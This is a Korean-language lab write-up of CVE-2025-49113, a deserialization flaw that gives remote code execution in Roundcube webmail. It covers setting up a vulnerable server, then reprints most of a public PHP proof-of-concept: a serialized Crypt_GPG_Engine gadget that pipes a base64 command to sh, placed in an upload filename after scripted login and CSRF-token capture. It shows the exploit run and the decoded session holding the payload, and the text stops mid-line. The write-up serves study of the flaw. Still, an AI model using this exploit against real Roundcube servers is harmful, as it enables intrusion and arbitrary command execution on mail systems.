CVE 2025-49113
대상
Roundcube version
- 1.5.0 - 1.5.9
- 1.6.0 - 1.6.10
PoC
https://github.com/hakaioffsec/CVE-2025-49113-exploit
실습
Roundcube 구축
환경
- ubuntu 22.04 live-server (일반도 상관 X)
- php 8.1.2
- mysql 15.1
구축
snapshot으로 저장해가면서 실행하는 것을 추천
Rollback 시 RTC 시간과 현재 시간이 맞지 않으면 다음 명령어 실행
sudo hwclock --systohc
1. 시스템 업데이트 및 필수 패키지 설치
sudo apt update && sudo apt upgrade -y
sudo apt install apache2 mariadb-server php php-cli php-common php-curl php-gd php-intl php-mbstring php-mysql php-xml php-zip php-bz2 php-soap php-imagick php-fileinfo unzip -y
2. MariaDB 설정 및 DB 생성
sudo mysql_secure_installation
sudo mysql -u root -p
CREATE DATABASE roundcubemail DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
// id, pw 설정 부분
CREATE USER 'roundcube'@'localhost' IDENTIFIED BY 'roundcube';
GRANT ALL PRIVILEGES ON roundcubemail.* TO 'roundcube'@'localhost';
FLUSH PRIVILEGES;
EXIT;
3. Roundcube 다운로드 및 설치
cd /tmp
wget <https://github.com/roundcube/roundcubemail/releases/download/1.5.9/roundcubemail-1.5.9-complete.tar.gz>
tar -xvzf roundcubemail-1.5.9-complete.tar.gz
sudo mv roundcubemail-1.5.9 /var/www/html/roundcube
sudo chown -R www-data:www-data /var/www/html/roundcube
sudo chmod -R 755 /var/www/html/roundcube
4. Roundcube 초기 구성
cd /var/www/html/roundcube
sudo mysql -u roundcube -p roundcubemail < SQL/mysql.initial.sql
5. Apache 설정
sudo vim /etc/apache2/sites-available/roundcube.conf
# /etc/apache2/sites-available/roundcube.conf
Alias /roundcube /var/www/html/roundcube
<Directory /var/www/html/roundcube/>
Options +FollowSymLinks
AllowOverride All
<IfModule mod_php.c>
php_value upload_max_filesize 10M
php_value post_max_size 12M
php_value memory_limit 64M
php_value max_execution_time 180
php_value max_input_time 180
</IfModule>
</Directory>
6. Roundcube 설치 마법사 진행
http://<ip 주소>/roundcube/installer
db connect 부분 비밀번호 입력 필수
language ko_KR 설정 필수
7. 설치 마법사 제거
sudo rm -rf /var/www/html/roundcube/installer
8. 메일 서버 설치
sudo apt install dovecot-imapd dovecot-pop3d -y
sudo systemctl enable dovecot
sudo systemctl start dovecot
sudo vim /etc/dovecot/conf.d/10-mail.conf
# /etc/dovecot/conf.d/10-mail.conf
mail_location = maildir:~/Maildir
분석
CVE가 동작하는 방식은 다음과 같다.
- roundcube의 upload.php은 임시 파일 경로 및 메타데이터를 세션에 직렬화해서 저장한다.
- 임의의 이미지 파일과 실행시킬 명령어를 직렬화하여 이미지 업로드 시 사용한다.
- session_start()와 같이 세션의 값이 로드되고 역직렬화가 진행될 시 명령어가 실행된다 ⇒ RCE
1. PoC 코드 분석
PoC 코드의 순서대로 따라 가보자
2 class Crypt_GPG_Engine
3 {
4 public $_process = false;
5 public $_gpgconf = '';
6 public $_homedir = '';
7
8 public function __construct($_gpgconf)
9 {
10 $_gpgconf = base64_encode($_gpgconf);
11 $this->_gpgconf = "echo \\"{$_gpgconf}\\"|base64 -d|sh;#";
12 }
13
14 public function gadget()
15 {
16 return '|'. serialize($this) . ';';
17 }
18 }
# 추후 실행되는 것을 알 수 있음
237 $gpgEngine = new Crypt_GPG_Engine($rceCommand);
238 $gadget = $gpgEngine->gadget();
Crypt_GPG_Engine 클래스 생성자는 base64를 진행하며 gadget()함수는 직렬화를 만드는 것을 알 수 있다.
237 ~ 238번 줄을 보면 사용자가 입력한 $rceCommand를 base64로 만들고 직렬화를 수행하는 것을 알 수 있다.
20 function checkVersion($baseUrl)
21 {
22 echo "[*] Checking Roundcube version...\\n";
23
24 $context = stream_context_create([
25 'http' => [
26 'method' => 'GET',
27 'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\\r\\n",
28 'ignore_errors' => true,
29 ],
30 ]);
31
32 $response = file_get_contents($baseUrl, false, $context);
33
34 if ($response === FALSE) {
35 echo "[-] Error: Failed to check version.\\n";
36 exit(1);
37 }
38
39 $vulnerableVersions = [
40 '10500', '10501', '10502', '10503', '10504', '10505', '10506', '10507', '10508', '10509',
41 '10600', '10601', '10602', '10603', '10604', '10605', '10606', '10607', '10608', '10609', '10610'
42 ];
43
44 preg_match('/"rcversion":(\\d+)/', $response, $matches);
45
46
47
48
49 if (empty($matches[1])) {
50 echo "[-] Error: Could not detect Roundcube version.\\n";
51 exit(1);
52 }
53
54 $version = $matches[1];
55 echo "[*] Detected Roundcube version: " . $version . "\\n";
56
57 if (in_array($version, $vulnerableVersions)) {
58 echo "[+] Target is vulnerable!\\n";
59 return true;
60 } else {
61 echo "[-] Target is not vulnerable.\\n";
62 exit(1);
63 }
64 }
66 function login($baseUrl, $user, $pass)
67 {
68 // Configuration to capture session cookies
69 $context = stream_context_create([
70 'http' => [
71 'method' => 'GET',
72 'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\\r\\n",
73 'ignore_errors' => true,
74 // 'request_fulluri' => false, // necessary for HTTP proxies like Burp
75 // 'proxy' => 'tcp://127.0.0.1:8080',
76 ],
77 ]);
78
79 // Make a GET request to the initial page
80 $response = file_get_contents($baseUrl, false, $context);
81
82 if ($response === FALSE) {
83 echo "Error: Failed to obtain the initial page.\\n";
84 exit(1);
85 }
86
87 // Extract the 'roundcube_sessid' cookie
88 preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\\n", $http_response_header), $matches);
89 if (empty($matches[1])) {
90 echo "Error: 'roundcube_sessid' cookie not found.\\n";
91 exit(1);
92 }
93 $sessionCookie = 'roundcube_sessid=' . $matches[1];
94
95 // Extract the CSRF token from the JavaScript code
96 preg_match('/"request_token":"([^"]+)"/', $response, $matches);
97 if (empty($matches[1])) {
98 echo "Error: CSRF token not found.\\n";
99 exit(1);
100 }
101
102 $csrfToken = $matches[1];
103
104 $url = $baseUrl . '/?_task=login';
105
106 $data = http_build_query([
107 '_token' => $csrfToken,
108 '_task' => 'login',
109 '_action' => 'login',
110 '_timezone' => 'America/Sao_Paulo',
111 '_url' => '',
112 '_user' => $user,
113 '_pass' => $pass,
114 ]);
115
116 $options = [
117 'http' => [
118 'header' => "Content-type: application/x-www-form-urlencoded\\r\\n" .
119 "Cookie: " . $sessionCookie . "\\r\\n",
120 'method' => 'POST',
121 'content' => $data,
122 'ignore_errors' => true,
123 // 'request_fulluri' => true, // necessary for HTTP proxies like Burp
124 // 'proxy' => 'tcp://127.0.0.1:8080',
125 ],
126 ];
127
128 $context = stream_context_create($options);
129 $result = file_get_contents($url, false, $context);
130
131 if ($result === FALSE) {
132 echo "Error: Failed to make the request.\\n";
133 exit(1);
134 }
135
136 // Check the HTTP status code
137 $statusLine = $http_response_header[0];
138 preg_match('{HTTP/\\S*\\s(\\d{3})}', $statusLine, $match);
139 $status = $match[1];
140
141 if ($status == 401) {
142 echo "Error: Incorrect credentials.\\n";
143 exit(1);
144 } elseif ($status != 302) {
145 echo "Error: Request failed with status code $status.\\n";
146 exit(1);
147 }
148
149 // Extract the last 'roundcube_sessauth' cookie from the login response, ignoring the cookie with value '-del-'
150 preg_match_all('/Set-Cookie: roundcube_sessauth=([^;]+)/', implode("\\n", $http_response_header), $matches);
151 if (empty($matches[1])) {
152 echo "Error: 'roundcube_sessauth' cookie not found.\\n";
153 exit(1);
154 }
155 $authCookie = 'roundcube_sessauth=' . end($matches[1]);
156
157 // Extract the 'roundcube_sessid' cookie from the login response
158 preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\\n", $http_response_header), $matches);
159 if (empty($matches[1])) {
160 echo "Error: 'roundcube_sessid' cookie not found.\\n";
161 exit(1);
162 }
163 $sessionCookie = 'roundcube_sessid=' . $matches[1];
164
165 echo "[+] Login successful!\\n";
166
167 return [
168 'sessionCookie' => $sessionCookie,
169 'authCookie' => $authCookie,
170 ];
171 }
172
173 function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
174 {
175 $uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
176
177 // Hardcoded PNG image in base64
178 $base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';
179
180 // Decode the base64 image
181 $fileContent = base64_decode($base64Image);
182 if ($fileContent === FALSE) {
183 echo "Error: Failed to decode the base64 image.\\n";
184 exit(1);
185 }
186
187 $boundary = uniqid();
188 $data = "--" . $boundary . "\\r\\n" .
189 "Content-Disposition: form-data; name=\\"_file[]\\"; filename=\\"" . $gadget . "\\"\\r\\n" .
190 "Content-Type: image/png\\r\\n\\r\\n" .
191 $fileContent . "\\r\\n" .
192 "--" . $boundary . "--\\r\\n";
193
194 $options = [
195 'http' => [
196 'header' => "Content-type: multipart/form-data; boundary=" . $boundary . "\\r\\n" .
197 "Cookie: " . $sessionCookie . "; " . $authCookie . "\\r\\n",
198 'method' => 'POST',
199 'content' => $data,
200 'ignore_errors' => true,
201 // 'request_fulluri' => true, // necessary for HTTP proxies like Burp
202 // 'proxy' => 'tcp://127.0.0.1:8080',
203 ],
204 ];
205
206 echo "[*] Exploiting...\\n";
207
208 $context = stream_context_create($options);
209 $result = file_get_contents($uploadUrl, false, $context);
210
211 if ($result === FALSE) {
212 echo "Error: Failed to send the file.\\n";
213 exit(1);
214 }
215
216 // Check the HTTP status code
217 $statusLine = $http_response_header[0];
218 preg_match('{HTTP/\\S*\\s(\\d{3})}', $statusLine, $match);
219 $status = $match[1];
220
221 if ($status != 200) {
222 echo "Error: File upload failed with status code $status.\\n";
223 exit(1);
224 }
225
226 echo "[+] Gadget uploaded successfully!\\n";
227 }
checkVersion()와 login() 함수를 보면 사용자가 입력한 $baseUrl에 요청을 보내 다음 결과를 확인한다.
- roundcube Version
- roundcube에 id, pw로 로그인 후 roundcube_sessid, roundcube_sessauth 값 받아옴
- 성공 여부 표시
173 function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
174 {
175 $uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
176
177 // Hardcoded PNG image in base64
178 $base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';
179
180 // Decode the base64 image
181 $fileContent = base64_decode($base64Image);
182 if ($fileContent === FALSE) {
183 echo "Error: Failed to decode the base64 image.\\n";
184 exit(1);
185 }
186
187 $boundary = uniqid();
188 $data = "--" . $boundary . "\\r\\n" .
189 "Content-Disposition: form-data; name=\\"_file[]\\"; filename=\\"" . $gadget . "\\"\\r\\n" .
190 "Content-Type: image/png\\r\\n\\r\\n" .
191 $fileContent . "\\r\\n" .
192 "--" . $boundary . "--\\r\\n";
193
194 $options = [
195 'http' => [
196 'header' => "Content-type: multipart/form-data; boundary=" . $boundary . "\\r\\n" .
197 "Cookie: " . $sessionCookie . "; " . $authCookie . "\\r\\n",
198 'method' => 'POST',
199 'content' => $data,
200 'ignore_errors' => true,
201 // 'request_fulluri' => true, // necessary for HTTP proxies like Burp
202 // 'proxy' => 'tcp://127.0.0.1:8080',
203 ],
204 ];
205
206 echo "[*] Exploiting...\\n";
207
208 $context = stream_context_create($options);
209 $result = file_get_contents($uploadUrl, false, $context);
210
211 if ($result === FALSE) {
212 echo "Error: Failed to send the file.\\n";
213 exit(1);
214 }
215
216 // Check the HTTP status code
217 $statusLine = $http_response_header[0];
218 preg_match('{HTTP/\\S*\\s(\\d{3})}', $statusLine, $match);
219 $status = $match[1];
220
221 if ($status != 200) {
222 echo "Error: File upload failed with status code $status.\\n";
223 exit(1);
224 }
225
226 echo "[+] Gadget uploaded successfully!\\n";
227 }
$uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
해당 URL에 요청을 보내면서 upload.php를 호출한다.
또한, dummy 이미지 파일을 업로드하면서 명령어를 수행하기 위해 직렬화한 문자열을 파일명으로 지정하여 업로드한다.
2. PoC
1. PoC 코드 실행
# php CVE-2025-49113.php <roundcube_ip> <id> <pw> <cmd>
php CVE-2025-49113.php <http://192.168.51.150/roundcube> hstest01 hstest01 "mkdir /var/www/html/roundcube/temp/test"
2. DB 세션 확인
해당 CVE의 중요한 부분은 임시 파일을 세션에 저장하고 불러온다는 점을 이용한다.
따라서, 파일명에 cmd를 직렬화한 문자열을 넣고 세션이 시작되면서 역직렬화를 통해 RCE가 이뤄진다.
세션 값을 확인하기 위해 DB를 확인해보자
mysql -u root -p
> use roundcubemail
> show tables;
+-------------------------+
| Tables_in_roundcubemail |
+-------------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| searches |
| session |
| system |
| users |
+-------------------------+
16 rows in set (0.000 sec)
> desc session;
+---------+--------------+------+-----+---------------------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------+--------------+------+-----+---------------------+-------+
| sess_id | varchar(128) | NO | PRI | NULL | |
| changed | datetime | NO | MUL | 1000-01-01 00:00:00 | |
| ip | varchar(40) | NO | | NULL | |
| vars | mediumtext | NO | | NULL | |
+---------+--------------+------+-----+---------------------+-------+
4 rows in set (0.001 sec)
> select count(vars) from session;
+-------------+
| count(vars) |
+-------------+
| 48 |
+-------------+
1 row in set (0.001 sec)
> select vars from session limit 45,48;
bGFuZ3VhZ2V8czo1OiJrb19LUiI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo4OiJoc3Rlc3QwMSI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6IjYvQmNKN1p6TmtPaXM0N3U5ZTJUc0RDdXlMcmtScEtYIjtsb2dpbl90aW1lfGk6MTc1MTk1MTc0OTt0aW1lem9uZXxzOjE3OiJBbWVyaWNhL1Nhb19QYXVsbyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiTE1vRkgwejJXaGd3RVlpWVJSU0VNOWJPdEsiO3JlcXVlc3RfdG9rZW58czozMjoid0cyT2ZrQmpxOGlDb2M3ZVRwcTltMkNzU2FmTVVuMlEiO3BsdWdpbnN8YToxOntzOjIyOiJmaWxlc3lzdGVtX2F0dGFjaG1lbnRzIjthOjE6e3M6NDoiIXh4eCI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7czo2NDoiL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC9SQ01URU1QYXR0bW50Njg2Y2E5ODU1NTg2MTk1OTI3NjExNiI7fX19eHh4fE47MTp7czo1OiJmaWxlcyI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7YTo2OntzOjQ6InBhdGgiO3M6NjQ6Ii92YXIvd3d3L2h0bWwvcm91bmRjdWJlL3RlbXAvUkNNVEVNUGF0dG1udDY4NmNhOTg1NTU4NjE5NTkyNzYxMTYiO3M6NDoic2l6ZSI7aTo1NjM7czo0OiJuYW1lIjtzOjE2ODoifE86MTY6IkNyeXB0X0dQR19FbmdpbmUiOjMwOntzOjI1OiIAQ3J5cHRfR1BHX0VuZ2luZQBfc3RyaWN0IjtiOjA7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2RlYnVnIjtiOjA7czoyNToiAENyeXB0X0dQR19FbmdpbmUAX2JpbmFyeSI7czowOiIiO3M6MjQ6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudCI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9ncGdjb25mIjtzOjc0OiJlY2hvICJiV3RrYVhJZ0wzWmhjaTkzZDNjdmFIUnRiQzl5YjNWdVpHTjFZbVV2ZEdWdGNDOTBaWE4wInxiYXNlNjQgLWR8c2g7IyI7czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX2hvbWVkaXIiO3M6MDoiIjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHVibGljS2V5cmluZyI7czowOiIiO3M6MzM6IgBDcnlwdF9HUEdfRW5naW5lAF9wcml2YXRlS2V5cmluZyI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF90cnVzdERiIjtzOjA6IiI7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX3BpcGVzIjthOjA6e31zOjI5OiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQaXBlcyI7YTowOnt9czoyODoiAENyeXB0X0dQR19FbmdpbmUAX29wZW5QaXBlcyI7YTowOnt9czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX3Byb2Nlc3MiO2I6MDtzOjMxOiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQcm9jZXNzIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudEluZm8iO047czoyNzoiAENyeXB0X0dQR19FbmdpbmUAX2lzRGFyd2luIjtiOjA7czozMDoiAENyeXB0X0dQR19FbmdpbmUAX2RpZ2VzdF9hbGdvIjtOO3M6MzA6IgBDcnlwdF9HUEdfRW5naW5lAF9jaXBoZXJfYWxnbyI7TjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfY29tcHJlc3NfYWxnbyI7TjtzOjI2OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3B0aW9ucyI7YTowOnt9czozMjoiAENyeXB0X0dQR19FbmdpbmUAX2NvbW1hbmRCdWZmZXIiO3M6MDoiIjtzOjMzOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHJvY2Vzc0hhbmRsZXIiO047czozMzoiAENyeXB0X0dQR19FbmdpbmUAX3N0YXR1c0hhbmRsZXJzIjthOjA6e31zOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfZXJyb3JIYW5kbGVycyI7YTowOnt9czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2lucHV0IjtOO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9tZXNzYWdlIjtOO3M6MjU6IgBDcnlwdF9HUEdfRW5naW5lAF9vdXRwdXQiO3M6MDoiIjtzOjI4OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3BlcmF0aW9uIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hcmd1bWVudHMiO2E6MDp7fXM6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF92ZXJzaW9uIjtzOjA6IiI7fQ==
이 base64 구문이 session에 들어가는 값이다
base64를 디코딩해서 확인해보자
3. session 확인
echo "bGFuZ3VhZ2V8czo1OiJrb19LUiI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo4OiJoc3Rlc3QwMSI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6IjYvQmNKN1p6TmtPaXM0N3U5ZTJUc0RDdXlMcmtScEtYIjtsb2dpbl90aW1lfGk6MTc1MTk1MTc0OTt0aW1lem9uZXxzOjE3OiJBbWVyaWNhL1Nhb19QYXVsbyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiTE1vRkgwejJXaGd3RVlpWVJSU0VNOWJPdEsiO3JlcXVlc3RfdG9rZW58czozMjoid0cyT2ZrQmpxOGlDb2M3ZVRwcTltMkNzU2FmTVVuMlEiO3BsdWdpbnN8YToxOntzOjIyOiJmaWxlc3lzdGVtX2F0dGFjaG1lbnRzIjthOjE6e3M6NDoiIXh4eCI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7czo2NDoiL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC9SQ01URU1QYXR0bW50Njg2Y2E5ODU1NTg2MTk1OTI3NjExNiI7fX19eHh4fE47MTp7czo1OiJmaWxlcyI7YToxOntzOjIwOiIxMTc1MTk1MTc0OTAzNTA1MzcwMCI7YTo2OntzOjQ6InBhdGgiO3M6NjQ6Ii92YXIvd3d3L2h0bWwvcm91bmRjdWJlL3RlbXAvUkNNVEVNUGF0dG1udDY4NmNhOTg1NTU4NjE5NTkyNzYxMTYiO3M6NDoic2l6ZSI7aTo1NjM7czo0OiJuYW1lIjtzOjE2ODoifE86MTY6IkNyeXB0X0dQR19FbmdpbmUiOjMwOntzOjI1OiIAQ3J5cHRfR1BHX0VuZ2luZQBfc3RyaWN0IjtiOjA7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2RlYnVnIjtiOjA7czoyNToiAENyeXB0X0dQR19FbmdpbmUAX2JpbmFyeSI7czowOiIiO3M6MjQ6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudCI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9ncGdjb25mIjtzOjc0OiJlY2hvICJiV3RrYVhJZ0wzWmhjaTkzZDNjdmFIUnRiQzl5YjNWdVpHTjFZbVV2ZEdWdGNDOTBaWE4wInxiYXNlNjQgLWR8c2g7IyI7czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX2hvbWVkaXIiO3M6MDoiIjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHVibGljS2V5cmluZyI7czowOiIiO3M6MzM6IgBDcnlwdF9HUEdfRW5naW5lAF9wcml2YXRlS2V5cmluZyI7czowOiIiO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF90cnVzdERiIjtzOjA6IiI7czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX3BpcGVzIjthOjA6e31zOjI5OiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQaXBlcyI7YTowOnt9czoyODoiAENyeXB0X0dQR19FbmdpbmUAX29wZW5QaXBlcyI7YTowOnt9czoyNjoiAENyeXB0X0dQR19FbmdpbmUAX3Byb2Nlc3MiO2I6MDtzOjMxOiIAQ3J5cHRfR1BHX0VuZ2luZQBfYWdlbnRQcm9jZXNzIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hZ2VudEluZm8iO047czoyNzoiAENyeXB0X0dQR19FbmdpbmUAX2lzRGFyd2luIjtiOjA7czozMDoiAENyeXB0X0dQR19FbmdpbmUAX2RpZ2VzdF9hbGdvIjtOO3M6MzA6IgBDcnlwdF9HUEdfRW5naW5lAF9jaXBoZXJfYWxnbyI7TjtzOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfY29tcHJlc3NfYWxnbyI7TjtzOjI2OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3B0aW9ucyI7YTowOnt9czozMjoiAENyeXB0X0dQR19FbmdpbmUAX2NvbW1hbmRCdWZmZXIiO3M6MDoiIjtzOjMzOiIAQ3J5cHRfR1BHX0VuZ2luZQBfcHJvY2Vzc0hhbmRsZXIiO047czozMzoiAENyeXB0X0dQR19FbmdpbmUAX3N0YXR1c0hhbmRsZXJzIjthOjA6e31zOjMyOiIAQ3J5cHRfR1BHX0VuZ2luZQBfZXJyb3JIYW5kbGVycyI7YTowOnt9czoyNDoiAENyeXB0X0dQR19FbmdpbmUAX2lucHV0IjtOO3M6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF9tZXNzYWdlIjtOO3M6MjU6IgBDcnlwdF9HUEdfRW5naW5lAF9vdXRwdXQiO3M6MDoiIjtzOjI4OiIAQ3J5cHRfR1BHX0VuZ2luZQBfb3BlcmF0aW9uIjtOO3M6Mjg6IgBDcnlwdF9HUEdfRW5naW5lAF9hcmd1bWVudHMiO2E6MDp7fXM6MjY6IgBDcnlwdF9HUEdfRW5naW5lAF92ZXJzaW9uIjtzOjA6IiI7fQ==" | base64 -d
language|s:5:"ko_KR";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:8:"hstest01";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"6/BcJ7ZzNkOis47u9e2TsDCuyLrkRpKX";login_time|i:1751951749;timezone|s:17:"America/Sao_Paulo";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"LMoFH0z2WhgwEYiYRRSEM9bOtK";request_token|s:32:"wG2OfkBjq8iCoc7eTpq9m2CsSafMUn2Q";plugins|a:1:{s:22:"filesystem_attachments";a:1:{s:4:"!xxx";a:1:{s:20:"11751951749035053700";s:64:"/var/www/html/roundcube/temp/RCMTEMPattmnt686ca98555861959276116";}}}xxx|N;1:{s:5:"files";a:1:{s:20:"11751951749035053700";a:6:{s:4:"path";s:64:"/var/www/html/roundcube/temp/RCMTEMPattmnt686ca98555861959276116";s:4:"size";i:563;s:4:"name";s:168:"|O:16:"Crypt_GPG_Engine":30:{s:25:"Crypt_GPG_Engine_strict";b:0;s:24:"Crypt_GPG_Engine_debug";b:0;s:25:"Crypt_GPG_Engine_binary";s:0:"";s:24:"Crypt_GPG_Engine_agent";s:0:"";s:26:"Crypt_GPG_Engine_gpgconf";s:74:"echo "bWtkaXIgL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC90ZXN0"|base64 